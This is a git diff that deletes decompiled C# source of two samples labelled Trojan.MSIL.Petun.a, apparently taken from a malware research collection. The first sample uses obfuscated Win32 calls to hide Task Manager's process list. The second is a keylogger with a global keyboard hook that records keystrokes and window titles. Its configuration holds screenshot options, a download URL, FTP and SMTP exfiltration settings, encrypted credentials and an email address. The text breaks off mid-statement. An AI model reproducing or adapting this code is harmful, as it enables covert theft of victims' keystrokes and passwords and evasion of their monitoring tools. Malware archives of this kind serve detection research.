-1,49 +0,0 @@ - - - - - Debug - AnyCPU - {9FDDE378-6084-416B-81C6-585162FBC09A} - WinExe - test1 - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/Trojan.MSIL.Petun.a.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/Trojan.MSIL.Petun.a.sln deleted file mode 100644 index 37ffe7dd..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/Trojan.MSIL.Petun.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "test1", "Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce.csproj", "{9FDDE378-6084-416B-81C6-585162FBC09A}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {9FDDE378-6084-416B-81C6-585162FBC09A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {9FDDE378-6084-416B-81C6-585162FBC09A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {9FDDE378-6084-416B-81C6-585162FBC09A}.Release|Any CPU.ActiveCfg = Release|Any CPU - {9FDDE378-6084-416B-81C6-585162FBC09A}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/UJ8ALmW0oRZrueDSNJ.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/UJ8ALmW0oRZrueDSNJ.cs deleted file mode 100644 index 1badc6d6..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/UJ8ALmW0oRZrueDSNJ.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: UJ8ALmW0oRZrueDSNJ -// Assembly: test1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E8116EE9-6C79-4180-A1B1-1330F6BC88B7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce.exe - -internal static class UJ8ALmW0oRZrueDSNJ -{ -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/cnhziFozG.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/cnhziFozG.cs deleted file mode 100644 index 3b4a4077..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce/cnhziFozG.cs +++ /dev/null @@ -1,458 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: cnhziFozG -// Assembly: test1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E8116EE9-6C79-4180-A1B1-1330F6BC88B7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-47e879175f4baac8d24e5f7eba026a7e6b2e35fefbd029453110345a2057ecce.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -[StandardModule] -internal sealed class cnhziFozG -{ - private const int LVM_FIRST = 4096; - private const int LVM_DELETECOLUMN = 4124; - private static object t = (object) new Timer(); - - [MethodImpl(MethodImplOptions.NoInlining)] - static cnhziFozG() - { - } - - [DllImport("user32", EntryPoint = "SendMessageA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SendMessage(IntPtr Hwnd, int wMsg, int wParam, int lParam); - - [DllImport("user32.dll", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int EnumChildWindows( - IntPtr hWndParent, - cnhziFozG.EnumDelegate lpEnumFunc, - int lParam); - - [DllImport("user32.dll", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long GetClassName(long hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, long nMaxCount); - - [DllImport("user32", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); - - [DllImport("user32", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int cch); - - [DllImport("user32", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(IntPtr hWnd); - - [MethodImpl(MethodImplOptions.NoInlining)] - private static void t_Tick(object sender, object e) - { - int num = 5; - if (cnhziFozG.\u0039nBko8CvSwW4iYEPsna()) - goto label_5; -label_1: - IntPtr hWndParent; - cnhziFozG.EnumChildWindows(hWndParent, new cnhziFozG.EnumDelegate(cnhziFozG.EnumChildWindows), 0); - num = 6; -label_5: - string str1; - while (true) - { - switch (num) - { - case 0: - case 1: - ref string local1 = ref str1; - string str2 = "Windows Task Manager"; - ref string local2 = ref str2; - hWndParent = cnhziFozG.\u0038WcPfPCgN3DAt2So3iy(cnhziFozG.FindWindow(ref local1, ref local2)); - if (cnhziFozG.\u0039nBko8CvSwW4iYEPsna()) - { - num = 4; - continue; - } - goto label_3; - case 4: - goto label_3; - case 5: - str1 = (string) null; - cnhziFozG.\u0039nBko8CvSwW4iYEPsna(); - if (cnhziFozG.Ah76rqCqTF7DxFiLB4h()) - { - num = 2; - continue; - } - if (true) - { - num = 0; - continue; - } - goto label_10; - case 6: - goto label_4; - default: - goto label_1; - } - } -label_3: - if (!cnhziFozG.vjePqkCHMIXvcjb0wff(hWndParent, cnhziFozG.\u0038WcPfPCgN3DAt2So3iy(0))) - return; - goto label_1; -label_4: - return; -label_10:; - } - - public static bool Running - { - [MethodImpl(MethodImplOptions.NoInlining)] get => cnhziFozG.\u00369icQXCPg7lCEK2gMmD(cnhziFozG.t); - [MethodImpl(MethodImplOptions.NoInlining)] set - { - int num = 1; - if (cnhziFozG.Ah76rqCqTF7DxFiLB4h()) - ; - Timer t; - while (true) - { - switch (num) - { - case 0: - case 3: - cnhziFozG.lO6NFSCOZpE2iNeGsnT(cnhziFozG.t, (object) new EventHandler(cnhziFozG.t_Tick)); - num = 4; - continue; - case 1: - if (value) - { - if (true) - { - num = 11; - continue; - } - goto case 9; - } - else - { - cnhziFozG.fOqpZGCEOLPq4r63kph(cnhziFozG.t, false); - num = 9; - continue; - } - case 2: - cnhziFozG.fOqpZGCEOLPq4r63kph((object) t, true); - if (true) - { - num = 7; - continue; - } - goto case 13; - case 4: - cnhziFozG.yDPM6XC9a7yKMBBSXfw((object) t, 500); - if (true) - { - num = 2; - continue; - } - goto label_17; - case 5: - goto label_18; - case 6: - goto label_4; - case 7: - goto label_13; - case 8: - goto label_1; - case 9: - cnhziFozG.EwCuWCC4SCtboTGl255(cnhziFozG.t); - num = 14; - continue; - case 10: - cnhziFozG.ih62DrCrs0aBKO8ycrP(cnhziFozG.t); - if (true) - { - num = 5; - continue; - } - goto label_3; - case 11: - if (cnhziFozG.ote2uhCF33uSZyMGiBy(cnhziFozG.t) == 500) - { - cnhziFozG.fOqpZGCEOLPq4r63kph(cnhziFozG.t, true); - num = 10; - continue; - } - if (cnhziFozG.\u0039nBko8CvSwW4iYEPsna()) - { - num = 13; - continue; - } - goto case 0; - case 12: - goto label_17; - case 13: - t = (Timer) cnhziFozG.t; - cnhziFozG.\u0039nBko8CvSwW4iYEPsna(); - num = cnhziFozG.Ah76rqCqTF7DxFiLB4h() ? 6 : 0; - continue; - case 14: - goto label_21; - default: - if (true) - { - num = 12; - continue; - } - goto case 4; - } - } -label_3: - return; -label_13: - cnhziFozG.ih62DrCrs0aBKO8ycrP((object) t); - goto label_17; -label_18: - return; -label_4: - return; -label_1: - return; -label_21: - return; -label_17:; - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private static int EnumChildWindows(IntPtr lngHwnd, int lngLParam) - { - cnhziFozG.Ah76rqCqTF7DxFiLB4h(); - int num = !cnhziFozG.\u0039nBko8CvSwW4iYEPsna() ? 10 : 4; - string[] strArray; - string str1; - string str2; - while (true) - { - switch (num) - { - case 0: - case 4: - str1 = (string) cnhziFozG.lmk6t7CzenVT6ZfbnUi(lngHwnd); - num = 3; - continue; - case 1: - strArray[1] = ", "; - goto case 7; - case 2: - strArray[0] = lngHwnd.ToString(); - if (cnhziFozG.\u0039nBko8CvSwW4iYEPsna()) - { - num = 1; - continue; - } - goto case 3; - case 3: - str2 = (string) cnhziFozG.\u0035xixEK6RCbBh5RLtvvh(lngHwnd); - if (!cnhziFozG.Ah76rqCqTF7DxFiLB4h()) - { - num = 6; - continue; - } - goto case 6; - case 5: - strArray[3] = ", "; - num = 9; - continue; - case 6: - strArray = new string[5]; - if (true) - { - num = 2; - continue; - } - goto case 5; - case 7: - strArray[2] = str1; - if (true) - { - num = 5; - continue; - } - goto case 9; - case 8: - case 10: - string str3 = (string) cnhziFozG.KqyxBd6WHPOkRUptebK((object) strArray); - num = 11; - continue; - case 9: - strArray[4] = str2; - goto case 8; - case 11: - goto label_12; - default: - num = 7; - continue; - } - } -label_12: - return 1; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private static string GetClass(IntPtr handle) - { - int num = 4; - StringBuilder lpClassName; - while (true) - { - switch (num) - { - case 0: - cnhziFozG.SendMessage(handle, 4124, cnhziFozG.tDhJkF6KH0RIMYT371m(cnhziFozG.\u0038WcPfPCgN3DAt2So3iy(0)), 0); - num = 7; - continue; - case 1: - cnhziFozG.RVmebv6CjkiCd96IhbX((object) lpClassName, (int) byte.MaxValue); - cnhziFozG.Ah76rqCqTF7DxFiLB4h(); - num = !cnhziFozG.\u0039nBko8CvSwW4iYEPsna() ? 6 : 5; - continue; - case 2: - case 5: - cnhziFozG.GetClassName(handle, lpClassName, cnhziFozG.\u0030fvp9566VnO8bKUKrT7((object) lpClassName)); - break; - case 4: - lpClassName = new StringBuilder(); - if (true) - { - num = 1; - continue; - } - goto case 0; - case 7: - goto label_8; - } - if (cnhziFozG.bqZutr6segmAApJX2fH(cnhziFozG.tTBQml6edypUi76vrIG((object) lpClassName), (object) "SysListView32", CompareMethod.Binary) != 0) - num = 0; - else - break; - } -label_8: - return (string) cnhziFozG.tTBQml6edypUi76vrIG((object) lpClassName); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private static string GetTitleText(IntPtr handle) - { - cnhziFozG.\u0039nBko8CvSwW4iYEPsna(); - int num; - if (!cnhziFozG.Ah76rqCqTF7DxFiLB4h()) - { - num = 3; - goto label_5; - } - else - { - num = 2; - if (cnhziFozG.\u0039nBko8CvSwW4iYEPsna()) - goto label_5; - } -label_4: - StringBuilder lpString; - cnhziFozG.RVmebv6CjkiCd96IhbX((object) lpString, checked (cnhziFozG.GetWindowTextLength(handle) + 1)); - goto label_7; -label_5: - while (true) - { - switch (num) - { - case 0: - case 3: - goto label_2; - case 1: - case 2: - goto label_4; - case 4: - goto label_7; - case 5: - goto label_8; - default: - if (!cnhziFozG.Ah76rqCqTF7DxFiLB4h()) - { - num = 4; - continue; - } - goto label_7; - } - } -label_2: - lpString = new StringBuilder(); - goto label_4; -label_8: - return (string) cnhziFozG.tTBQml6edypUi76vrIG((object) lpString); -label_7: - cnhziFozG.GetWindowText(handle, lpString, cnhziFozG.\u0030fvp9566VnO8bKUKrT7((object) lpString)); - num = 5; - goto label_5; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static IntPtr \u0038WcPfPCgN3DAt2So3iy([In] int obj0) => (IntPtr) obj0; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool vjePqkCHMIXvcjb0wff([In] IntPtr obj0, [In] IntPtr obj1) => obj0 != obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool \u0039nBko8CvSwW4iYEPsna() => true; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool Ah76rqCqTF7DxFiLB4h() => false; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool \u00369icQXCPg7lCEK2gMmD([In] object obj0) => ((Timer) obj0).Enabled; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int ote2uhCF33uSZyMGiBy([In] object obj0) => ((Timer) obj0).Interval; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void lO6NFSCOZpE2iNeGsnT([In] object obj0, [In] object obj1) => ((Timer) obj0).Tick += (EventHandler) obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void yDPM6XC9a7yKMBBSXfw([In] object obj0, [In] int obj1) => ((Timer) obj0).Interval = obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void fOqpZGCEOLPq4r63kph([In] object obj0, [In] bool obj1) => ((Timer) obj0).Enabled = obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void ih62DrCrs0aBKO8ycrP([In] object obj0) => ((Timer) obj0).Start(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void EwCuWCC4SCtboTGl255([In] object obj0) => ((Timer) obj0).Stop(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object lmk6t7CzenVT6ZfbnUi(IntPtr handle) => (object) cnhziFozG.GetClass(handle); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0035xixEK6RCbBh5RLtvvh(IntPtr handle) => (object) cnhziFozG.GetTitleText(handle); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object KqyxBd6WHPOkRUptebK([In] object obj0) => (object) string.Concat((string[]) obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void RVmebv6CjkiCd96IhbX([In] object obj0, [In] int obj1) => ((StringBuilder) obj0).Length = obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0030fvp9566VnO8bKUKrT7([In] object obj0) => ((StringBuilder) obj0).Length; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object tTBQml6edypUi76vrIG([In] object obj0) => (object) ((StringBuilder) obj0).ToString(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int bqZutr6segmAApJX2fH([In] object obj0, [In] object obj1, [In] CompareMethod obj2) => Strings.InStr((string) obj0, (string) obj1, obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int tDhJkF6KH0RIMYT371m([In] IntPtr obj0) => (int) obj0; - - private delegate int EnumDelegate(IntPtr lngHwnd, int lngLParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/Module1.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/Module1.cs deleted file mode 100644 index e1ddcead..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/Module1.cs +++ /dev/null @@ -1,1282 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Module1 -// Assembly: zdjęcia, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 30920A46-087C-4BFD-A402-030FE541EA37 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class Module1 -{ - private static bool mYzWi = false; - private static bool Vuigas = false; - private static bool UXmIJT = true; - private static bool JDsYhh = false; - private static bool ONdgjb = false; - private static bool mPThrM = false; - private static string KrJuyZ = "20"; - private static string MkdZkC = "AaD"; - private static int npWqvE = 1; - private static string YuCJnB = "JUDC"; - public static string mCueNP = "CurrentUser"; - private static string zNmmOW = "Hide"; - private static string lMmxrK = "JFtOFuJTCC"; - private static string MXoELN = "iexplorer.exe"; - private static string SDDate = "+SDDate+"; - private static bool TakeScrns = true; - private static string[] Message = new string[3] - { - "+MsgFalse+", - "+MsgMsg+", - "+Ico+" - }; - private static string Delay = "+DelOff+"; - private static bool FRMsg = true; - private static bool NoEL = false; - private static bool SSTime = false; - private static string SSInt = "10"; - private static bool jpJRGmh = false; - private static string ONdTVNm = "http://www.exampleserver.com/directfile.exe"; - private static bool rGQyyll = false; - private static string yLzwqJG = "setup.exe"; - private static bool xEzMPe = true; - private static bool DEenzc = false; - private static string RcWoXu = "LHs1gVoZGRA="; - private static string dPVct = "ftp.exampleserver.com"; - private static string esBCL = "LHs1gVoZGRA="; - private static string pvPXN = "/"; - private static string uNhzuk = "smtp.interia.pl"; - private static string pwbonEHK = "z9j8tQ9+aGO0Dwk+ZArN/uTF4pOVfMh9"; - private static string zEScxLxk = "G7v3as26SySmmfuucLPJGQ=="; - private static string KkvpIFbx = "Gregory9972@interia.pl"; - private static string UrmQSyTY = "587"; - private static string hoTgfvyC = "----[ "; - private static string eiwsbpPP = " ]----"; - private static bool CcnhzjGp; - private static bool VsnRTzGZ; - private static bool sBRrq = true; - private static bool DfKIq = true; - private static bool uFnma = true; - private static bool oInLd = true; - private const int kDLBg = 257; - private const short zszeFqHKN = 256; - private const int HVfOOBnPl = 260; - private const int sLIeBZebm = 261; - private static IntPtr KeyboardHandle = (IntPtr) 0; - private static string LastCheckedForegroundTitle = ""; - private static Module1.KeyboardHookDelegate callback = (Module1.KeyboardHookDelegate) null; - private static string mjHqB; - - public static string klHJSp - { - get => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - set - { - } - } - - public static string eTyuut - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Favorites); - set - { - } - } - - public static string Mcgiaz - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Personal); - set - { - } - } - - public static string mdrCkk - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System); - set - { - } - } - - public static string FWIMma - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("\\system32", ""); - set - { - } - } - - public static string LT - { - get => Environment.MachineName + " - " + DateTime.Now.ToString().Replace(" ", "-").Replace("/", "-").Replace(":", "."); - set - { - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Module1.NViKdJh lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int tZhig(int hHook); - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Module1.KeyboardHookDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private static string aNzawv() - { - string str; - try - { - string lpString = new string(char.MinValue, 100); - Module1.GetWindowText(Module1.GetForegroundWindow(), ref lpString, 100); - str = lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - private static object yLFWUq() - { - object obj; - try - { - obj = (object) (Module1.KeyboardHandle != (IntPtr) 0); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - obj = (object) ""; - ProjectData.ClearProjectError(); - } - return obj; - } - - public static void wevh() - { - try - { - Module1.callback = new Module1.KeyboardHookDelegate(Module1.pFxhPS); - Module1.KeyboardHandle = (IntPtr) Module1.SetWindowsHookEx(13, Module1.callback, (int) Process.GetCurrentProcess().MainModule.BaseAddress, 0); - int num = Module1.KeyboardHandle != (IntPtr) 0 ? 1 : 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void RmZjHC() - { - try - { - if (!Conversions.ToBoolean(Module1.yLFWUq()) || Module1.tZhig((int) Module1.KeyboardHandle) == 0) - return; - Module1.KeyboardHandle = (IntPtr) 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string glWPWB( - ref string strSource, - ref string strStart, - ref string strEnd, - ref int startPos = 0) - { - int length = strStart.Length; - string str = string.Empty; - int num1 = strSource.IndexOf(strStart, startPos); - int num2 = strSource.IndexOf(strEnd, checked (num1 + length)); - if (num1 != -1 && num2 != -1) - str = strSource.Substring(checked (num1 + length), checked (num2 - num1 + length)); - return str; - } - - public static int pFxhPS(int Code, int wParam, ref Module1.NViKdJh lParam) - { - int num; - try - { - object obj = (object) Module1.aNzawv(); - if (Operators.ConditionalCompareObjectNotEqual(obj, (object) Module1.LastCheckedForegroundTitle, false)) - { - Module1.LastCheckedForegroundTitle = Conversions.ToString(obj); - Module1.mjHqB = Conversions.ToString(Operators.ConcatenateObject((object) Module1.mjHqB, Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("\r\n" + Module1.hoTgfvyC), obj), (object) " - "), (object) DateAndTime.Now.ToString()), (object) Module1.eiwsbpPP), (object) "\r\n"))); - } - string Left = ""; - if (wParam == 256 | wParam == 260) - { - if (Code >= 0 && MyProject.Computer.Keyboard.CtrlKeyDown & MyProject.Computer.Keyboard.AltKeyDown & lParam.vkCode == 83) - { - num = 1; - goto label_130; - } - else - { - switch (lParam.vkCode) - { - case 8: - if (Module1.mjHqB.EndsWith(Module1.eiwsbpPP + "\r\n") | !Module1.DfKIq | Module1.mjHqB.EndsWith("]")) - { - Left = "[BS]"; - break; - } - Module1.mjHqB = Module1.mjHqB.Remove(checked (Module1.mjHqB.ToString().Length - 1)); - Left = ""; - break; - case 9: - Left = "\t"; - break; - case 13: - Left = "\r\n"; - break; - case 20: - if (Module1.sBRrq) - { - Module1.VsnRTzGZ = !MyProject.Computer.Keyboard.CapsLock; - break; - } - Left = !MyProject.Computer.Keyboard.CapsLock ? "[cl]" : "[/cl]"; - break; - case 27: - Left = " [esc] "; - break; - case 32: - Left = " "; - break; - case 37: - Left = "[<]"; - break; - case 38: - Left = "[^]"; - break; - case 39: - Left = "[>]"; - break; - case 40: - Left = "[V]"; - break; - case 46: - Left = " [dlt] "; - break; - case 48: - case 49: - case 50: - case 51: - case 52: - case 53: - case 54: - case 55: - case 56: - case 57: - if (Module1.CcnhzjGp) - { - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "1", false) == 0) - { - Left = "!"; - break; - } - if (Operators.CompareString(Left, "2", false) == 0) - { - Left = "@"; - break; - } - if (Operators.CompareString(Left, "3", false) == 0) - { - Left = "#"; - break; - } - if (Operators.CompareString(Left, "4", false) == 0) - { - Left = "$"; - break; - } - if (Operators.CompareString(Left, "5", false) == 0) - { - Left = "%"; - break; - } - if (Operators.CompareString(Left, "6", false) == 0) - { - Left = "^"; - break; - } - if (Operators.CompareString(Left, "7", false) == 0) - { - Left = "&"; - break; - } - if (Operators.CompareString(Left, "8", false) == 0) - { - Left = "*"; - break; - } - if (Operators.CompareString(Left, "9", false) == 0) - { - Left = "("; - break; - } - if (Operators.CompareString(Left, "0", false) == 0) - { - Left = ")"; - break; - } - break; - } - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - break; - case 65: - case 66: - case 67: - case 68: - case 69: - case 70: - case 71: - case 72: - case 73: - case 74: - case 75: - case 76: - case 77: - case 78: - case 79: - case 80: - case 81: - case 82: - case 83: - case 84: - case 85: - case 86: - case 87: - case 88: - case 89: - case 90: - Left = !(Module1.CcnhzjGp | Module1.VsnRTzGZ) ? Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))) : Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))).ToUpper(); - break; - case 96: - case 97: - case 98: - case 99: - case 100: - case 101: - case 102: - case 103: - case 104: - case 105: - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "a", false) == 0) - Left = Conversions.ToString(1); - if (Operators.CompareString(Left, "b", false) == 0) - Left = Conversions.ToString(2); - if (Operators.CompareString(Left, "c", false) == 0) - Left = Conversions.ToString(3); - if (Operators.CompareString(Left, "d", false) == 0) - Left = Conversions.ToString(4); - if (Operators.CompareString(Left, "e", false) == 0) - Left = Conversions.ToString(5); - if (Operators.CompareString(Left, "f", false) == 0) - Left = Conversions.ToString(6); - if (Operators.CompareString(Left, "g", false) == 0) - Left = Conversions.ToString(7); - if (Operators.CompareString(Left, "h", false) == 0) - Left = Conversions.ToString(8); - if (Operators.CompareString(Left, "i", false) == 0) - Left = Conversions.ToString(9); - if (Operators.CompareString(Left, "`", false) == 0) - { - Left = Conversions.ToString(0); - break; - } - break; - case 109: - case 189: - Left = !Module1.CcnhzjGp ? "-" : "_"; - break; - case 110: - case 190: - Left = Module1.CcnhzjGp ? ">" : "."; - break; - case 112: - case 113: - case 114: - case 115: - case 116: - case 117: - case 118: - case 119: - case 120: - case 121: - case 122: - case 123: - case 124: - case 125: - case 126: - case (int) sbyte.MaxValue: - case 128: - case 129: - case 130: - case 131: - case 132: - case 133: - case 134: - case 135: - Left = "[F" + Conversions.ToString(checked (lParam.vkCode - 111)) + "]"; - break; - case 160: - case 161: - if (!Module1.sBRrq) - { - Left = " [CcnhzjGp] "; - break; - } - Module1.CcnhzjGp = true; - break; - case 162: - case 163: - Left = " [ctrl] "; - break; - case 164: - Left = " [alt] "; - break; - case 165: - Left = " [ralt] "; - break; - default: - Left = Conversions.ToString(lParam.vkCode); - if (Module1.CcnhzjGp) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "~"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "{"; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "}"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "|"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "\""; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ":"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = "<"; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "?"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "+"; - } - else if (!Module1.CcnhzjGp) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "`"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "["; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "]"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "\\"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "'"; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ";"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = ","; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "="; - } - if (Operators.CompareString(Left, "107", false) == 0) - Left = 